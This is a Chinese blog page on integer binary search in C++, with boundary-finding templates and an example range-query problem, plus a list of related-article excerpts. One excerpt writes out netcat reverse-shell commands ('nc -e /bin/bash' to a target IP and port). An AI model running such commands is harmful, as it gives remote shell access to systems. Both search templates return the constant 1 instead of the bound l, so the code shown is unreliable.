当前位置: 首页 > news >正文

二分算法(c++版)

二分的本质是什么?

很多人会认为单调性是二分的本质,但其实其本质并非单调性,只是说,有单调性的可以进行二分,但是有些题目没有单调性我们也可以进行二分。其本质其实是一个边界问题,给定一个条件,在我们的区间中,有一部分满足这个条件,有一部分不满足这个条件,要求满足和不满足的边界值,这个时候我们便可以使用二分来解决这个问题。

整数二分:

基本步骤:

1.先找到中间值mid

2.先判断mid是否满足性质(check(mid))

3.若满足则缩小区间到[mid,r],l=mid,不满足则反之

4.更新边界

区间前半部分边界点(借用一下y总的画的图,也就是红色区间的边界点)

二分步骤:

1.先找到中间值mid=(l+r+1)/2

2.先判断mid是否满足红色区间的性质(check(mid))

3.若满足则缩小区间到[mid,r],若不满足则[l,mid-1](r=mid-1)

为什么要+1?

讲讲这里mid为什么要额外+1,因为 当l=r-1的时候,因为除以二向下取整mid的值为l,如果check(mid)成功返回true则mid的值还是l并不会发生改变会造成死循环,所以我们在后面+1,遇到这种情况发生时,mid就变成了r,避免了死循环的发生

模板如下:

int bsearch_1(int l,int r){while(l<r){int mid=l+r+1>>1;if(check(mid)) l=mid;else r=mid-1;}return 1;
}

 

区间后半部分边界点(也就是上图的绿色边界点)

 二分步骤:

1.先找到中间值mid=(l+r)/2

2.先判断mid是否满足绿色区间的性质(check(mid))

3.若满足则缩小区间到[l,mid],若不满足则[mid+1,r](l=mid+1)

模板如下:

int bserch_2(int l,int r){while(l<r){int mid=l+r>>1;if(check(mid)) r=mid;else l=mid+1;}return 1;
}

这里以一个例题来解释一下用法:

例题:

给定一个按照升序排列的长度为 n 的整数数组,以及 q个查询。

对于每个查询,返回一个元素 k 的起始位置和终止位置(位置从 0 开始计数)。

如果数组中不存在该元素,则返回 -1

输入格式

第一行包含整数 n 和 q,表示数组长度和询问个数。

第二行包含 n个整数(均在 1∼10000 范围内),表示完整数组。

接下来 q行,每行包含一个整数 k,表示一个询问元素。

输出格式

共 q行,每行包含两个整数,表示所求元素的起始位置和终止位置。

如果数组中不存在该元素,则返回 -1

数据范围

1≤n≤100000
1≤q≤10000
1≤k≤10000

输入样例:
6 3
1 2 2 3 3 4
3
4
5
输出样例:
3 4
5 5
-1 -1

 

相关文章:

二分算法(c++版)

二分的本质是什么&#xff1f; 很多人会认为单调性是二分的本质&#xff0c;但其实其本质并非单调性&#xff0c;只是说&#xff0c;有单调性的可以进行二分&#xff0c;但是有些题目没有单调性我们也可以进行二分。其本质其实是一个边界问题&#xff0c;给定一个条件&#xf…...

【C#】用于基于 UV DLP 的 3D 打印机的切片软件源码解析(一)DLP原理 GUI

0. 原理 基于 UV DLP 的 3D 打印机的工作原理是这样的&#xff1a; UV DLP 是一种使用数字光处理&#xff08;Digital Light Processing&#xff09;技术的 3D 打印方法&#xff0c;它利用紫外光&#xff08;UV&#xff09;来固化液态树脂&#xff0c;从而形成实体物体。UV DLP…...

Javase补充-Arrays类的常用方法汇总

文章目录 一 . 排序方法二 . 查找方法三 . 判断是否相等的方法四 . 拷贝方法五 . 填充方法 一 . 排序方法 我们第一个要介绍的就是sort方法 这个排序实现的底层逻辑应该是十分复杂的,以我们目前的水平体系应该无法理解,我们今天尝试用我们可以理解的一种排序算法,插入排序来模…...

微信小程序-人脸检测-眨眼驱动ESP32蓝牙设备灯

前面2篇文章已经写了具体的人脸检测和蓝牙 这里直接结合&#xff0c;只列js 代码&#xff0c;剩下的其他代码在另外文章里面 https://blog.csdn.net/walle167/article/details/136261993 https://blog.csdn.net/walle167/article/details/136261919 上代码 import bleBehavior …...

怎么在wifi中实现手机和电脑文件互传

有时我们想手机电脑文件互传&#xff0c;数据线却不在身边&#xff0c;这时我们可以用MiXplorer来实现wifi中手机和电脑互相访问文件。 MiXplorer是一款来自著名安卓开发者论坛XDA的作品&#xff0c;免费且功能强大&#xff0c;被很多人誉为是“全能文件管理器”。 1.在手机上…...

07 STL 简介

目录 什么是STLSTL的版本STL的六大组件STL的重要性如何学习STLSTL的缺陷 1. 什么是STL c标准库的重要组成部分&#xff0c;不仅是一个可复用的组件库&#xff0c;而且是一个包罗数据结构和算法的软件框架 2. STL的版本 原始版本 Alexander Stepanov、Meng Lee在惠普实验室的…...

unity学习(39)——创建(create)角色脚本(panel)——静态(static)

1.发现一个非常实用的功能&#xff0c;点击unity中console的输出项&#xff0c;可以直接跳转到vs的代码页&#xff01; 2.static类&#xff08;变量&#xff09;有三个特点&#xff1a; &#xff08;1&#xff09;独一份&#xff08;2&#xff09;无法实例化。&#xff08;3&…...

MacOS环境下用powerline配置Terminal终端

Powerline 简介及安装配置 Powerline 是一个 stateless 状态栏&#xff0c;也就是一个全局状态/提示栏。你可以将其配置到你的 bash、Terminal、iTerm2 或 VIM 中&#xff0c;效果会如下所示&#xff1a; 你的 Mac 终端提示栏将会呈现如下图所示&#xff1a; 你的 VIM 状态…...

liunx单机项目部署

文章目录 1.liunx简介2.liunx的jdk安装2.liunx的tomcat安装3.liunx的mysql安装4.单机项目部署 1.liunx简介 Linux&#xff0c;一般指GNU/Linux&#xff08;单独的Linux内核并不可直接使用&#xff0c;一般搭配GNU套件&#xff0c;故得此称呼&#xff09;&#xff0c;是一种免费…...

SQL 中如何实现多表关联查询?

阅读本文之前请参阅----MySQL 数据库安装教程详解&#xff08;linux系统和windows系统&#xff09; 在SQL中&#xff0c;多表关联查询是通过使用JOIN操作来实现的&#xff0c;它允许你从两个或多个表中根据相关列的值来检索数据。以下是几种常见的JOIN类型&#xff1a; …...

oracle 设置权限 禁止删除用户

在Oracle中&#xff0c;可以通过修改系统角色来控制用户的操作权限。要禁止删除用户&#xff0c;需要将DROP USER这个特定的系统权限从相应的角色中移除。 下面是一种常见的方法&#xff0c;使用SQL语句进行操作&#xff1a; -- 创建新的角色&#xff0c;并为其分配所有必要的…...

港科夜闻|香港科大计划建立北部都会区卫星校园完善科大创新带,发展未来创新科技 未来医药发展及跨学科教育...

关注并星标 每周阅读港科夜闻 建立新视野 开启新思维 1、香港科大计划建立北部都会区卫星校园完善“科大创新带”&#xff0c;发展未来创新科技、未来医药发展及跨学科教育。香港科大校长叶玉如教授在2月22日的媒体会议上表示&#xff0c;香港科大将在北部都会区建立卫星校园&a…...

linux反弹shell简单使用

一、反弹shell&#xff08;NC正向反弹&#xff09; 1、靶机开启监听端口 格式&#xff1a; nc -lvvp [任意未占用的端口号] 例&#xff1a; nc -lvvp [8080] 2、攻击机将shell弹到靶机上 格式&#xff1a; nc -e /bin/bash [靶机ip] [靶机监听端口] 例&#xff1a; nc -e /bin…...

前后端分离Vue+nodejs校园论坛bbs系统x450z

开发语言 node.js 框架&#xff1a;Express 前端:Vue.js 数据库&#xff1a;mysql 数据库工具&#xff1a;Navicat 开发软件&#xff1a;VScode本论文拟采用计算机技术设计并开发的论坛bbs系统&#xff0c;主要是为用户提供服务。使得用户可以在系统上查看帖子信息、签到积分等…...

ChatGPT的能力边界在哪?

ChatGPT在今天被热炒&#xff0c;主要的原因不是因为它能和人聊天&#xff0c;或者能帮助人做作业。其实做作业这件事它做得并不好&#xff0c;虽然有些中学和大学的问题它能够解决&#xff0c;但是对于绝大部分问题&#xff0c;它给出的答案都是车轱辘话。 那ChatGPT被热炒的…...

Sentinel微服务流量治理组件实战下

目录 Sentinel控制台介绍 实时监控 簇点链路 流控规则 限流阈值类型 流控模式 流控效果 熔断降级规则 熔断策略之慢调用比例 熔断策略之异常比例 熔断策略之异常数 热点规则 系统规则——系统自适应保护 系统规则阈值类型 授权控制规则——来源访问控制&#xf…...

vue+node.js美食分享推荐管理系统 io551

&#xff0c;本系统采用了 MySQL数据库的架构&#xff0c;在开始这项工作前&#xff0c;首先要设计好要用到的数据库表。该系统的使用者有二类&#xff1a;管理员和用户&#xff0c;主要功能包括个人信息修改&#xff0c;用户、美食类型、美食信息、订单信息、美食分享、课程大…...

云原生超融合八大核心能力|ZStack Edge云原生超融合产品技术解读

企业数字化转型的焦点正在发生变化&#xff0c;云基础设施由资源到应用&#xff0c;数据中心从核心到边缘。面向云原生趋势&#xff0c;围绕应用升级&#xff0c;新一代超融合产品——云原生超融合应运而生。 ZStackEdge云原生超融合是基于云原生架构研发的新一代IT基础设施 …...

认识K8S

K8S K8S 的全称为 Kubernetes (K12345678S) 是一个跨主机容器编排工具 作用 用于自动部署、扩展和管理“容器化&#xff08;containerized&#xff09;应用程序”的开源系统。 可以理解成 K8S 是负责自动化运维管理多个容器化程序&#xff08;比如 Docker&#xff09;的集群…...

K8S-001-Virtual box - Network Config

A. 配置两个IP&#xff0c; 一个连接内网&#xff0c;一个链接外网: 1. 内网配置(Host only&#xff0c; 不同的 virutal box 的版本可以不一样&#xff0c;这些窗口可能在不同的地方&#xff0c;但是配置的内容是一样的): 静态IP 动态IP 2. 外网&#xff08;创建一个 Networ…...

利用ngx_stream_return_module构建简易 TCP/UDP 响应网关

一、模块概述 ngx_stream_return_module 提供了一个极简的指令&#xff1a; return <value>;在收到客户端连接后&#xff0c;立即将 <value> 写回并关闭连接。<value> 支持内嵌文本和内置变量&#xff08;如 $time_iso8601、$remote_addr 等&#xff09;&a…...

简易版抽奖活动的设计技术方案

1.前言 本技术方案旨在设计一套完整且可靠的抽奖活动逻辑,确保抽奖活动能够公平、公正、公开地进行,同时满足高并发访问、数据安全存储与高效处理等需求,为用户提供流畅的抽奖体验,助力业务顺利开展。本方案将涵盖抽奖活动的整体架构设计、核心流程逻辑、关键功能实现以及…...

黑马Mybatis

Mybatis 表现层&#xff1a;页面展示 业务层&#xff1a;逻辑处理 持久层&#xff1a;持久数据化保存 在这里插入图片描述 Mybatis快速入门 ![在这里插入图片描述](https://i-blog.csdnimg.cn/direct/6501c2109c4442118ceb6014725e48e4.png //logback.xml <?xml ver…...

【入坑系列】TiDB 强制索引在不同库下不生效问题

文章目录 背景SQL 优化情况线上SQL运行情况分析怀疑1:执行计划绑定问题?尝试:SHOW WARNINGS 查看警告探索 TiDB 的 USE_INDEX 写法Hint 不生效问题排查解决参考背景 项目中使用 TiDB 数据库,并对 SQL 进行优化了,添加了强制索引。 UAT 环境已经生效,但 PROD 环境强制索…...

将对透视变换后的图像使用Otsu进行阈值化,来分离黑色和白色像素。这句话中的Otsu是什么意思?

Otsu 是一种自动阈值化方法&#xff0c;用于将图像分割为前景和背景。它通过最小化图像的类内方差或等价地最大化类间方差来选择最佳阈值。这种方法特别适用于图像的二值化处理&#xff0c;能够自动确定一个阈值&#xff0c;将图像中的像素分为黑色和白色两类。 Otsu 方法的原…...

linux 错误码总结

1,错误码的概念与作用 在Linux系统中,错误码是系统调用或库函数在执行失败时返回的特定数值,用于指示具体的错误类型。这些错误码通过全局变量errno来存储和传递,errno由操作系统维护,保存最近一次发生的错误信息。值得注意的是,errno的值在每次系统调用或函数调用失败时…...

WordPress插件:AI多语言写作与智能配图、免费AI模型、SEO文章生成

厌倦手动写WordPress文章&#xff1f;AI自动生成&#xff0c;效率提升10倍&#xff01; 支持多语言、自动配图、定时发布&#xff0c;让内容创作更轻松&#xff01; AI内容生成 → 不想每天写文章&#xff1f;AI一键生成高质量内容&#xff01;多语言支持 → 跨境电商必备&am…...

pikachu靶场通关笔记22-1 SQL注入05-1-insert注入(报错法)

目录 一、SQL注入 二、insert注入 三、报错型注入 四、updatexml函数 五、源码审计 六、insert渗透实战 1、渗透准备 2、获取数据库名database 3、获取表名table 4、获取列名column 5、获取字段 本系列为通过《pikachu靶场通关笔记》的SQL注入关卡(共10关&#xff0…...

九天毕昇深度学习平台 | 如何安装库?

pip install 库名 -i https://pypi.tuna.tsinghua.edu.cn/simple --user 举个例子&#xff1a; 报错 ModuleNotFoundError: No module named torch 那么我需要安装 torch pip install torch -i https://pypi.tuna.tsinghua.edu.cn/simple --user pip install 库名&#x…...

NXP S32K146 T-Box 携手 SD NAND(贴片式TF卡):驱动汽车智能革新的黄金组合

在汽车智能化的汹涌浪潮中&#xff0c;车辆不再仅仅是传统的交通工具&#xff0c;而是逐步演变为高度智能的移动终端。这一转变的核心支撑&#xff0c;来自于车内关键技术的深度融合与协同创新。车载远程信息处理盒&#xff08;T-Box&#xff09;方案&#xff1a;NXP S32K146 与…...